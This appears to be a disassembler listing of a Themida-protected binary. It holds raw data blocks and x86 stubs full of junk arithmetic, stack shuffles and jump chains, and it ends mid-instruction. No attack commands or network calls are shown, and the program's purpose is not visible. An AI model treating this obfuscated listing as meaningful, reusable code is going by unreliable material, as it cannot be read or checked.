148904ECh dd 148B5424h, 4C48124h, 57000000h, 0EF6D6DBFh, 4EC831Eh dd 0E9243C89h, 2AB1h, 875FF801h, 10E92404h, 0BF000100h dd 52163A20h, 0F71CEF81h, 7A013E27h, 0E5BAE938h, 0E95D0000h dd 0ADEBh, 4B9h, 8BCE0100h, 0C481240Ch, 4, 4BF5750h, 89000000h dd 243C8BF8h, 8104C483h, 0A1723CC6h, 0A1E95008h, 870000DBh dd 248B243Ch, 240C8924h, 0FFF892E9h, 4C483FFh, 57E28952h dd 0B32DEABFh, 47D7F746h, 2DEEC781h, 0FA0146B3h, 4EA815Fh dd 33000000h, 1E92414h, 2900003Dh, 7ADF05D8h, 0BA526CB5h dd 7A340760h, 24E9D001h, 51000022h, 3BE268h, 241C8900h dd 0D988D388h, 50241C8Bh, 405E089h, 83000000h, 48704C0h dd 82BCE924h, 0C8B70000h, 805FCF80h, 0C780FAE7h, 0AE79E956h dd 875B0000h, 6DE92434h, 0B90000B4h, 64D1580Eh, 0FFD2C6E9h dd 8F685BFFh, 89000031h, 1DB22414h, 0C006E2C0h, 466806E2h dd 89000027h, 0EEB3241Ch, 0E92EE380h, 0FFFFEB76h, 5428A5BBh dd 0F7DBF738h, 81D3F7DBh, 951D65C3h, 27E7E968h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555BE6: ; CODE XREF: Themida_:00564AEFj mov ecx, [esp] push edi mov edi, esp push eax mov eax, 4 jmp loc_56709F ; --------------------------------------------------------------------------- loc_555BF7: ; CODE XREF: Themida_:00557FC2j xchg ebp, [esp] jmp loc_5551BA ; --------------------------------------------------------------------------- loc_555BFF: ; CODE XREF: Themida_:0055703Cj mov dh, 0F8h jmp loc_55A809 ; --------------------------------------------------------------------------- dw 0ED81h dd 35B37378h, 1069F581h, 5CE948E4h db 0E4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C17: ; CODE XREF: Themida_:005590AEj pop dword ptr [esp] jmp loc_55A192 ; --------------------------------------------------------------------------- db 0BEh dd 15D859C8h, 15EF789h, 335B5FFAh, 14312414h, 24143324h dd 6624248Bh, 2404B30Fh, 0D9ADE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555C42: ; CODE XREF: Themida_:0055511Aj sub ebp, 4A146A0Ch pop ecx dec ebp sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_5673D8 ; --------------------------------------------------------------------------- db 89h dd 0FD21E9DDh, 0C581FFFFh, 0AA50AF1Ch, 835DEB01h, 1C8704EBh dd 4895C24h, 5585424h, 4, 4B951h, 0C8010000h, 74FF5059h dd 8F580424h, 505C2404h, 152AE9h, 0DDF58100h, 8139E456h dd 495391EDh, 484E0537h, 0E801417Ah, 7A484E2Dh, 242C8B41h dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0BDE9241Ch, 31000043h dd 57C131C8h, 5CD1B951h, 2FE9518Dh db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555CD3: ; CODE XREF: Themida_:00563412j mov [esp], edi push dword ptr [esp] jmp loc_553370 ; --------------------------------------------------------------------------- dw 0F681h a7sS db 'Þ7á|é',0 db 0Bh,0 dd 5C7D6800h, 0DCE90000h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555CF3: ; CODE XREF: Themida_:00553642j shl ebp, 5 jmp loc_55D776 ; --------------------------------------------------------------------------- loc_555CFB: ; CODE XREF: Themida_:00567840j or ebp, edx pop edx shl ebp, 6 jmp loc_5640BE ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 0DB55E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esi pop edi jmp loc_55D23F ; --------------------------------------------------------------------------- loc_555D2F: ; CODE XREF: Themida_:0055F6FBj add ebx, 2503049Ah mov ecx, [esp] jmp loc_55D5B8 ; --------------------------------------------------------------------------- db 81h, 0C3h, 57h dd 29BFF697h, 3C335BDFh, 0E87EE924h, 81560000h, 4ECh, 48F5400h dd 24048124h, 4, 8324348Bh, 895204C4h, 4C281E2h, 83000000h dd 148704EAh, 22E95C24h, 540000E1h, 92BB535Dh, 4B4F4444h dd 5708E3C1h, 0F20763BFh, 68E78124h, 8119BB18h, 0EB4404E7h dd 503BE93Eh, 1590000h, 0E2EF81EFh, 0E96A936Fh, 0A74Fh dd 119BE95Ah, 0EA810000h, 2F2A4CE8h, 12070E9h, 2434FF00h dd 3B99E9h db 0 ; --------------------------------------------------------------------------- loc_555DC5: ; CODE XREF: Themida_:0055C0F4j sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx push 2BDh jmp loc_555E91 ; --------------------------------------------------------------------------- db 83h dd 814204C4h, 94028AE2h, 96ADE97Fh, 0EF810000h, 32EC4FAEh dd 0CF81DFF7h, 20906856h, 0DB4EEF81h, 0FA0182EEh, 116C9E9h dd 0C4815A00h, 4, 0FDBAE953h, 248BFFFFh, 0C83B6624h, 0CE16E99Ch dd 48B9FFFFh, 0E94DF523h, 0FFFFD016h, 0E924248Bh, 7D5Eh ; --------------------------------------------------------------------------- loc_555E34: ; CODE XREF: Themida_:0055C974j push ebx mov ebx, 4 sub ebp, ebx pop ebx xchg ebp, [esp] pop esp mov [esp], ecx push edx mov edx, 514704A9h push ecx jmp loc_55516A ; --------------------------------------------------------------------------- loc_555E50: ; CODE XREF: Themida_:00552C49j push ecx mov cl, 48h xor cl, 3 xor bl, cl jmp loc_56061E ; --------------------------------------------------------------------------- db 68h, 0D3h, 1Ch dd 8F540000h, 0E9552404h, 0AF03h, 0A8DBB850h, 0C1013F77h dd 0A92DE9h, 24048900h, 0DE974B0h, 83000060h, 48704C0h dd 24248B24h, 875EE9h db 0 ; --------------------------------------------------------------------------- loc_555E91: ; CODE XREF: Themida_:00555DDAj mov [esp], esp push eax mov eax, 4 add dword ptr [esp+4], 545837F5h jmp loc_55585E ; --------------------------------------------------------------------------- db 89h dd 0E9542404h, 0A725h, 3F25F781h, 0F8296316h, 25C62D5Fh dd 0DC2D51DDh, 0E90C1D13h, 0D0E3h ; --------------------------------------------------------------------------- loc_555EC8: ; CODE XREF: Themida_:005590CFj not dword ptr [esp] jmp loc_564C35 ; --------------------------------------------------------------------------- dd 58E4C380h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebx push ecx push edx mov dl, al jmp loc_5641EC ; --------------------------------------------------------------------------- loc_555EF5: ; CODE XREF: Themida_:00567B16j shr ebx, 4 jmp loc_55B271 ; --------------------------------------------------------------------------- db 51h, 68h, 0B2h dd 89000006h, 4812424h, 424h, 9A685900h, 89000001h, 7CBB241Ch dd 0E912D32Eh, 13Fh, 0EDC1D5F7h, 0CDC1E906h, 0C7BAFFFFh dd 81167562h, 790964C2h, 36C281FBh, 2D522F0Eh, 761A2461h dd 88E9D001h, 50000DCh, 2, 2F6C68h, 24048900h, 42474FFh dd 0E924048Bh, 0FFFFDC1Ch, 0E904EE83h, 0FDF5h, 706C8FB8h dd 3ED73566h, 352D40ADh, 29C4C0D8h, 0E1C158C1h, 0D4EBE905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555F82: ; CODE XREF: Themida_:00561FBAj add edx, 9F704D0Dh mov ecx, edx pop edx shl ecx, 7 shr ecx, 5 or ecx, 32BF2197h or ecx, 5AFC75F1h xor ecx, 3A0641FAh xor ecx, 74BF2907h jmp loc_553C3A ; --------------------------------------------------------------------------- loc_555FAE: ; CODE XREF: Themida_:00552FE2j xchg edx, [esp] mov esp, [esp] jmp loc_55617C ; --------------------------------------------------------------------------- db 0C0h, 0EEh, 4 dd 5006EEC0h, 7AE926B4h, 5300008Bh, 42474FFh, 5B2434FFh dd 84F68h, 24348900h, 0E9555E54h, 0E0EAh ; --------------------------------------------------------------------------- loc_555FE0: ; CODE XREF: Themida_:0055E6BDj mov ecx, 0D831FF4h sub edx, ecx pop ecx shl edx, 6 sub edx, 38D54D72h jmp loc_55D1A6 ; --------------------------------------------------------------------------- dw 0F701h dd 8042E9h db 0 ; --------------------------------------------------------------------------- loc_555FFD: ; CODE XREF: Themida_:0055E017j xor eax, esi pop esi add edx, eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ebx sub esp, 4 mov [esp], esi jmp loc_55DDBC ; --------------------------------------------------------------------------- loc_55601D: ; CODE XREF: Themida_:00562745j pop ecx push 2C91h mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] push eax mov eax, esp push ebp mov ebp, 6C0C7CB0h shl ebp, 5 or ebp, 74644058h jmp loc_567D51 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0E904C483h, 0B83h, 73E9E689h, 81FFFFF5h, 0FA1E4CF3h dd 7CCB8143h, 0E9332D26h, 6133h ; --------------------------------------------------------------------------- loc_556070: ; CODE XREF: Themida_:005620F5j xor ebx, edi pop edi mov edx, ebx jmp loc_556680 ; --------------------------------------------------------------------------- dw 0E1C0h dd 3E1C006h, 0B353D1F6h, 16C380A0h, 0FF380h, 0CB885BD9h dd 0F734E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556096: ; CODE XREF: Themida_:00564568j movzx eax, al push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push 199Bh push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebp mov ebp, 4 sub ecx, 0F374399h add ecx, ebp add ecx, 0F374399h pop ebp jmp loc_560D69 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 0AFFDE904h, 58560000h, 0DA5FE95Eh, 0F8310000h dd 83243C8Bh, 0C33104C4h, 0BEE9C231h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556103: ; CODE XREF: Themida_:00568119j push eax mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_55E341 ; --------------------------------------------------------------------------- loc_556115: ; CODE XREF: Themida_:00567B73j pop eax push ebx jmp loc_5561AC ; --------------------------------------------------------------------------- dd 2002EF81h, 0D8E92B31h, 0B900003Eh, 0E975490h, 0C6A8C181h dd 0CD893697h, 50E2E9h, 59CA8900h, 3B2DEB81h, 0D3292E8Eh dd 3B2DC381h, 5A5A2E8Eh, 0E9241C33h, 2247h, 0CE37E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55615A: ; CODE XREF: Themida_:0055B281j push 43F1h jmp loc_558605 ; --------------------------------------------------------------------------- dd 0D8E18141h, 0C11A4E15h, 0E98106E9h, 692051h, 0E959CA01h dd 1046Ch ; --------------------------------------------------------------------------- loc_55617C: ; CODE XREF: Themida_:00555FB4j mov [esp], ecx push 215Fh mov [esp], esi push ebp push 1D9Eh mov [esp], edx mov edx, 0C7532E6h push edx add dword ptr [esp], 15D5D2Ah jmp loc_55497A ; --------------------------------------------------------------------------- dw 895Dh dd 0E94B5DEBh, 0F9A9h ; --------------------------------------------------------------------------- loc_5561AC: ; CODE XREF: Themida_:00556117j sub esp, 4 mov [esp], edi jmp loc_55392D ; --------------------------------------------------------------------------- dw 0D901h aSoj db '[éO¦',0 align 2 dw 0CE81h dd 27F944B0h, 0FFFFEE81h, 0E681FFFFh, 405D79E5h, 0A3EAE9h dd 48B6600h, 0F825E924h, 875C0000h, 41E9241Ch, 0B6FFFFFCh dd 64B9E969h, 0DFBE0000h, 31385F05h, 0E9585EF7h, 0FFFFF604h dd 0E904EC83h, 1015Bh, 9D1C77FFh, 24041158h, 0CA22E99Ch dd 0D143FFFFh, 4BDBF7EBh, 4276E9h, 240C8700h, 2BA525Ch dd 81000000h, 0F5311AC7h, 2DE7E905h, 0DA000000h, 0B1A2E9h dd 0F9015B00h, 2EA1685Fh, 0F6E90000h, 5A00004Bh, 34FFCB01h dd 0C4835924h, 0E9DA0104h, 62Ch, 1BC0C181h, 9CE92C18h dd 1000076h, 34EFE9D5h, 0F75F0000h, 58F281DAh, 1CE3E8Ch dd 0D0295AD0h, 504E4C2Dh, 2434FF59h, 0CEC7E95Ah, 0EE81FFFFh dd 6DCE5A6Bh, 0FFC5E9h, 8DE95900h, 66000084h, 5324048Bh dd 0D00EE9h, 0A4C58100h, 8151514Dh, 7A769FEBh, 50EB0162h dd 6E84BF57h, 0BAE97B51h, 5B000103h, 4FA4BE56h, 0D6F72FBAh dd 0E681DEF7h, 64405F0Ch, 7ED3B850h, 0C6014995h, 0A82DE9h dd 0C0685200h, 8B478472h, 0F4E92414h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5562EB: ; CODE XREF: Themida_:0055A479j add edi, 59D20283h pop ebp jmp loc_563F10 ; --------------------------------------------------------------------------- db 29h dd 8BC289D0h, 0C4812404h, 4, 5302EAC1h, 0BFE7E9h, 48B6600h dd 2C48124h, 0FE000000h, 4EEC0C6h, 2CF0C680h, 42704B7h dd 32B4E97Dh, 0E9500000h, 4DB2h, 2859C828h, 66BF04F8h dd 51241C8Bh, 1970E9h db 0 ; --------------------------------------------------------------------------- loc_556341: ; CODE XREF: Themida_:00556AE7j sub al, ch jmp loc_561F25 ; --------------------------------------------------------------------------- dd 148BD009h, 4C48124h, 51000000h, 1945BE56h, 0F189767Bh dd 59C8315Eh, 48BC289h, 4C48324h, 148BD031h, 0E7895724h dd 4C781h, 0F7E90000h, 55FFFFE7h, 0ED1FE9h, 0E7895700h dd 4C781h, 0E9550000h, 0FFFFDC3Ah, 33240431h, 248B2404h dd 24040824h, 0F362E99Ch, 0DAF7FFFFh, 0C281D2F7h, 0BF9DBFFCh dd 685AD601h, 296Dh, 55241489h, 0BF7387BDh, 1A07E913h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5563C2: ; CODE XREF: Themida_:005619B3j xor [esp], ebp xor ebp, [esp] pop esp push small 1C2Ch mov [esp], cx push edx push eax mov al, 9Bh jmp loc_554E51 ; --------------------------------------------------------------------------- dw 1C8Bh dd 2DB6824h, 35E90000h, 5E000007h, 0FD0C681h, 0E94E0B75h dd 7827h, 240C895Ch, 5779E9h db 0 ; --------------------------------------------------------------------------- loc_5563FD: ; CODE XREF: Themida_:0055BD7Ej xor [edi+20h], esi push ecx mov ecx, 42362C86h dec ecx jmp loc_55DE03 ; --------------------------------------------------------------------------- dd 5D2414F7h, 0F581D5F7h, 32C30982h, 0E95DE831h, 8036h dd 571EE95Eh, 0E8830000h, 24043304h, 33240431h, 248B2404h dd 24148924h, 51A7B050h, 0C9FEFDB1h, 3D95E9h, 0BCEE8100h dd 2957E315h, 0BCC681EEh, 0FF57E315h, 835D2434h, 343304C4h dd 3A24E924h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55586F ; --------------------------------------------------------------------------- loc_556473: ; CODE XREF: Themida_:00563EBCj and edx, ebx pop ebx sub edx, 0FFFFFFFFh sub edx, 4480409h add esi, 715A2F60h add esi, edx sub esi, 715A2F60h pop edx push ebx push eax push edx push esi push 13333588h pop esi jmp loc_55EEE8 ; --------------------------------------------------------------------------- dd 148BD301h, 4C48324h, 0FFD51AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5564AD: ; CODE XREF: Themida_:00563FCEj push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_55AEFF ; --------------------------------------------------------------------------- loc_5564C3: ; CODE XREF: Themida_:0055F259j mov dl, bh jmp loc_560612 ; --------------------------------------------------------------------------- aZSs db 'Z)ØéS}',0 align 2 loc_5564D2: ; CODE XREF: Themida_:0055DBD3j mov edi, 446664E4h inc edi shr edi, 4 xor edi, 446664Ah push edi xor dword ptr [esp], 0A6A7FD2h pop ebp xor ebp, 0A6A7FD2h pop edi add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp xor eax, ebx push dword ptr [esp] pop ebx jmp loc_55C497 ; --------------------------------------------------------------------------- db 81h, 0F6h, 0Eh dd 295726F2h, 0B1E95EF3h, 450000F1h, 4BCBF581h, 0ED816D04h dd 414545ABh, 679DA1BEh, 0E7B9E9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55652E: ; CODE XREF: Themida_:005672A5j add esp, 4 and ecx, esi pop esi jmp loc_56535F ; --------------------------------------------------------------------------- loc_55653C: ; CODE XREF: Themida_:0055C49Cj mov [esp], ecx jmp loc_566F23 ; --------------------------------------------------------------------------- dd 1ED81h, 0ED810000h, 0F6D266A1h, 5A5DE801h, 4BD55h, 50000h dd 1569E24h, 0EBE952E8h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556567: ; CODE XREF: Themida_:005652F4j mov edi, esp add edi, 4 add edi, 4 jmp loc_55C981 ; --------------------------------------------------------------------------- loc_556577: ; CODE XREF: Themida_:00564ADFj pop edx sub ebx, 72BE742Dh and ebx, 73A20D3Bh push esi mov esi, 1800017h xor ebx, esi pop esi sub edx, ebx pop ebx xchg edx, [esp] jmp loc_562A49 ; --------------------------------------------------------------------------- dd 0F05BF57h, 0DFF76175h, 8147D7F7h, 3DDCCBF7h, 8BFB016Ah dd 0C483243Ch, 0FFD82904h, 835B2434h, 0F02904C4h, 11BD68h dd 6F91E900h, 0BC680000h, 8900000Ah, 0B7B3241Ch, 0CBFECBFEh dd 0F607E3C0h, 0E9D3F6D3h, 0FFFFE5DCh ; --------------------------------------------------------------------------- loc_5565E0: ; CODE XREF: Themida_:00564722j sub ebx, 584D5A12h sub ebx, 384C584Dh jmp loc_553921 ; --------------------------------------------------------------------------- db 0BBh, 0FCh, 13h dd 0BF5718E0h, 780E0DB1h, 5842E9h, 5D80100h, 14C42248h dd 8B2434FFh, 0C483241Ch, 4C48304h, 2FB95156h, 0BE35AA07h dd 70564925h, 0E959CE29h, 84Eh, 240C8B66h, 0E902C483h dd 0FFFFE602h, 24348156h, 51FA7FE9h, 7FE93558h, 348B51FAh dd 36E95124h, 2D000059h, 2D40589h, 3AE9C609h, 8B00006Ch dd 2C892424h, 1737E924h, 0D8B40000h, 5866E120h, 4B4CE9h db 0 ; --------------------------------------------------------------------------- loc_55666D: ; CODE XREF: Themida_:0055B4CDj mov dh, ah pop eax push ebx mov bh, 0 jmp loc_557914 ; --------------------------------------------------------------------------- dd 0E9241489h, 3C6Fh ; --------------------------------------------------------------------------- loc_556680: ; CODE XREF: Themida_:00556075j pop ebx mov edi, edx pop edx shr edi, 2 push eax mov eax, 48692213h sub edi, eax pop eax and edi, 248D3161h add edi, 0EF2F06D9h sub ebp, 50611D7h sub ebp, 1E6B5A51h jmp loc_553516 ; --------------------------------------------------------------------------- loc_5566AD: ; CODE XREF: Themida_:00562BE1j add eax, 4 add eax, 4 jmp loc_55F132 ; --------------------------------------------------------------------------- loc_5566BA: ; CODE XREF: Themida_:0055C9B7j xor [esp], ebx jmp loc_56053D ; --------------------------------------------------------------------------- loc_5566C2: ; CODE XREF: Themida_:0055A1F7j dec esi push 1FDAh mov [esp], ecx push eax push 76581EB3h mov eax, [esp] add esp, 4 neg eax xor eax, 8887A55Eh push eax sub dword ptr [esp], 2D5430D7h jmp loc_561E7F ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4BF57h, 0FA010000h, 993DE9h, 4C38100h, 33000000h dd 1C31241Ch, 241C3324h, 6824248Bh, 5D6Ch, 81240C89h, 4ECh dd 7955E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556726: ; CODE XREF: Themida_:00552F1Aj add esp, 4 or edx, eax shl edx, 1 push 444Dh jmp loc_5623C8 ; --------------------------------------------------------------------------- db 52h dd 417209BAh, 0FF69E951h, 0CF810000h, 47D357C2h, 7169E781h dd 0F7814A77h, 6EF17585h, 3C8BF831h, 4C48324h, 0EC2DD0F7h dd 0E9E3C728h, 0FFFFC754h, 5124048Fh, 4B9h, 246C8100h dd 89451504h, 0CF83E977h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55677E: ; CODE XREF: Themida_:00557104j shl ebp, 6 neg ebp neg ebp add ebp, 0CE1A343Ah jmp loc_5648A5 ; --------------------------------------------------------------------------- dd 4EC835Eh, 54240489h, 40558h, 0BF570000h, 4, 0A527E9h db 0 ; --------------------------------------------------------------------------- loc_5567A9: ; CODE XREF: Themida_:005599F8j dec eax push 7E4Ah mov [esp], eax xchg ebp, [esp] not ebp xchg ebp, [esp] jmp loc_5629A5 ; --------------------------------------------------------------------------- loc_5567BF: ; CODE XREF: Themida_:0056725Ej pop esi add esp, 4 shr ecx, 0Bh push esi push ebp jmp loc_5643E0 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8124h, 89000000h, 7AE9240Ch, 83FFFFCAh, 0D9F704C4h dd 0FFC1E9h, 0EDB85000h, 2939BA68h, 3E958C2h, 570000FEh dd 8AC5E9h db 0 ; --------------------------------------------------------------------------- loc_5567FD: ; CODE XREF: Themida_:0056371Ej pop esi jmp loc_562985 ; --------------------------------------------------------------------------- db 50h dd 3A8FFDB8h, 8BC68939h, 0C4832404h, 0E9F03104h, 104BFh dd 26BBF581h, 0F5813CA3h, 36B01E58h, 34FFE801h, 242C8B24h dd 0A724E9h db 0 ; --------------------------------------------------------------------------- loc_556831: ; CODE XREF: Themida_:00558D60j push 4 pop eax add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 5093h mov [esp], ebp mov ebp, 1 push ecx jmp loc_5644FE ; --------------------------------------------------------------------------- loc_556859: ; CODE XREF: Themida_:00564E27j xor eax, 430A1BA3h add eax, 472250Ah jmp loc_56728C ; --------------------------------------------------------------------------- loc_556868: ; CODE XREF: Themida_:00561932j xchg edi, [esp] pop esp loc_55686C: ; CODE XREF: Themida_:0055CCB5j push 0BC7h mov [esp], ecx push eax push ebx jmp loc_55C332 ; --------------------------------------------------------------------------- db 89h dd 0E93158C1h, 0E9CB215Dh, 10C03h, 4EA835Bh, 8B241487h dd 8F542424h, 0B8502404h, 4, 4244401h, 582434FFh, 275168h dd 0F3FBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5568AE: ; CODE XREF: Themida_:00561DC0j sub ebp, esi jmp loc_567991 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h aLH db '‹$$h»-',0 align 10h dd 50241C89h, 23A9E9h, 0C8B6600h, 5AB06824h, 3C890000h dd 45BD6824h, 24890000h, 4B85024h, 0E9000000h, 1A9Dh, 81243C8Bh dd 4C4h, 0BA525A00h, 75F757B3h, 8108EAC1h, 0C1AA48EAh dd 81FDE935h, 34890000h, 0B9E95024h, 830000E7h, 348B04C4h dd 4C48124h, 0E9000000h, 0FFFFC318h, 0CF0827B1h, 341FE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55692A: ; CODE XREF: Themida_:005666A6j sub ebx, esi sub ebx, 22327E3Bh pop esi jmp loc_5659C7 ; --------------------------------------------------------------------------- loc_556938: ; CODE XREF: Themida_:0056554Fj not edx inc edx jmp loc_559C87 ; --------------------------------------------------------------------------- dd 8E03F781h, 0FE8967C2h, 6FFCE95Fh, 0C6810000h, 70530523h dd 683DE681h, 0EDE931C7h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55695F: ; CODE XREF: Themida_:0055E67Ej push eax push esp pop eax add eax, 4 jmp loc_5676FB ; --------------------------------------------------------------------------- dd 708668h, 6771E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556976: ; CODE XREF: Themida_:0056010Cj push 5CA9h mov [esp], ebp jmp loc_5592A5 ; --------------------------------------------------------------------------- db 5Ah dd 0F7538005h, 2DF0013Fh, 3FF75380h, 5E2434FFh, 4C481h dd 9CE90000h, 89000002h, 0BF572434h, 0A205D42h, 5F85BB53h dd 0C381798Dh, 19AF74D6h, 8105E3C1h, 3E5A21EBh, 6EBC137h dd 5103E3C1h, 0CA3F8AB9h, 0BAE98124h, 8143C867h, 0CD6206E9h dd 8DC98150h, 81482F00h, 0D98B67E9h, 59CB016Dh, 895BDF31h dd 243C8BFEh, 5504C483h, 0BE3915BDh, 5DEE2103h, 83C7E9h dd 24148B00h, 0EE6FE9h db 0 ; --------------------------------------------------------------------------- loc_556A05: ; CODE XREF: Themida_:005659B1j add [esp+4], esi pop esi mov eax, [esp] add esp, 4 add eax, 4 jmp loc_55C476 ; --------------------------------------------------------------------------- loc_556A1A: ; CODE XREF: Themida_:00553928j mov esi, eax jmp loc_559382 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 3104C483h, 0E8015AD0h, 0FFC1015Dh, 83582434h, 0C18104C4h dd 2, 31240C33h, 0C33240Ch, 24248B24h, 4AC5E9h, 191EB900h dd 3BE908AAh, 81000010h, 391E83EEh, 81C6010Eh, 391E83C6h dd 4EC830Eh, 0BF243C89h, 74BD64ACh, 3035C681h, 0EE812D1Bh dd 59460D38h, 178FEE81h, 0DFE91A3Eh db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556A87: ; CODE XREF: Themida_:005592B9j xor ebp, 303AAE4Bh mov eax, ebp pop ebp sub dword ptr [esp+4], 1B2267F7h add dword ptr [esp+4], 7F673F3Fh add [esp+4], eax jmp loc_555020 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 0E9FC4861h, 815EF389h, 4ECh, 241C8900h, 46E95B59h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556AC3: ; CODE XREF: Themida_:0055791Aj sub esp, 4 mov [esp], eax mov ah, 9Fh and bh, ah pop eax add bh, 44h add dh, bh mov ebx, [esp] add esp, 4 mov ch, dh mov edx, [esp] add esp, 4 jmp loc_556341 ; --------------------------------------------------------------------------- loc_556AEC: ; CODE XREF: Themida_:005541BBj xor edx, [esp] mov esp, [esp] mul cl jmp loc_5586D1 ; --------------------------------------------------------------------------- loc_556AF9: ; CODE XREF: Themida_:005623B1j add esp, 4 xor edi, 1A0B12EDh and eax, edi mov edi, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_563723 ; --------------------------------------------------------------------------- dd 89240489h, 405E0h, 0C0830000h, 24048704h, 56C3315Ch dd 0BEE9E689h, 0B3000020h, 5BD82817h, 1DADE9h db 0 ; --------------------------------------------------------------------------- loc_556B41: ; CODE XREF: Themida_:00564099j add ebx, ebp sub ebx, 597E3EB0h mov ebp, [esp] add esp, 4 push ecx mov ecx, 384C584Dh add ebx, ecx pop ecx add ebx, 584D5A12h mov eax, [ebx] jmp loc_55D878 ; --------------------------------------------------------------------------- db 68h, 0Fh, 6Dh dd 4890000h, 2474FF24h, 24048B04h, 4C481h, 4FE90000h, 5D00007Bh dd 9F79E942h, 2C8B0000h, 4C48124h, 83000000h, 0B95104C4h dd 2, 0F9E9CB01h, 0BB00006Eh, 0BF01BB0h, 471EB951h, 0CB01530Ch dd 0FFBF5759h, 0E9FFFFFFh, 0FFFFC57Fh, 192DF001h, 573AE4Eh dd 4C4A6367h, 8324348Bh, 0E95504C4h, 9C1Ah ; --------------------------------------------------------------------------- loc_556BD0: ; CODE XREF: Themida_:00559F66j xor ecx, 0CFAC69DDh jmp loc_55B7EB ; --------------------------------------------------------------------------- db 68h dd 6801h, 89243489h, 491DE9E6h, 44810000h, 45150424h, 0FF597789h dd 815B2434h, 4ECh, 243C8900h, 8468E789h, 89000018h, 4BD242Ch dd 1000000h, 0C7815DEFh, 4, 8B243C87h, 68552424h, 4, 0B8C3815Dh dd 12C0A67h, 0B8EB81EBh, 8B2C0A67h, 73E9242Ch, 500000B8h dd 42474FFh, 24048F58h, 0F624248Bh, 0B60F66E9h, 0FF6866CCh dd 0C896666h, 0B60F6624h, 9C5166C8h, 0FFBFD7E9h, 4C181FFh dd 0E9000000h, 0E9BDh, 0E9240C8Bh, 304Ah, 1CE981h, 0CB890092h dd 5BDE0159h, 5C243487h, 521E68h, 243C8900h, 0BE56E789h dd 29CD3939h, 0E908EEC1h, 0FFFFD31Ah, 5202EEC1h, 858E957h dd 0F1250001h, 0D1A837Eh, 322670E1h, 3042AE35h, 0E9C28976h dd 47Ch, 0FFBF77E9h, 7EFCBEFFh, 0EBBB66F4h, 31C05770h dd 0EB815EF3h, 733F7C99h, 1405E9h, 0E9D0B400h, 8E7Ch ; --------------------------------------------------------------------------- loc_556CE0: ; CODE XREF: Themida_:0055D387j pop edx jmp loc_5556E6 ; --------------------------------------------------------------------------- loc_556CE6: ; CODE XREF: Themida_:0055D6A0j push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_555466 ; --------------------------------------------------------------------------- loc_556CFA: ; CODE XREF: Themida_:0056580Ej mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_555161 ; --------------------------------------------------------------------------- aVseb db 'Vé…b',0 align 2 loc_556D1A: ; CODE XREF: Themida_:005674B4j add dword ptr [esp], 4AF310C2h mov esi, [esp] add esp, 4 sub esi, 4AF310C2h jmp loc_552E1F ; --------------------------------------------------------------------------- db 21h, 0FBh, 5Fh dd 0D5FCC381h, 0E981AD77h, 25B037E4h, 0C181D901h, 25B037E4h dd 0E7B8505Bh, 405EC038h, 85E9D8F7h, 8100005Dh, 31FB26E9h dd 742CE9B1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556D66: ; CODE XREF: Themida_:005619C8j not edi shl edi, 1 xor edi, 308640A0h add ebx, edi pop edi add ebx, esi sub ebx, 372F0348h pop esi pop eax push 4454h mov [esp], edx mov edx, 4 sub ebx, 3D77118Dh add ebx, edx add ebx, 3D77118Dh mov edx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] or [edi+1Ch], ebx push 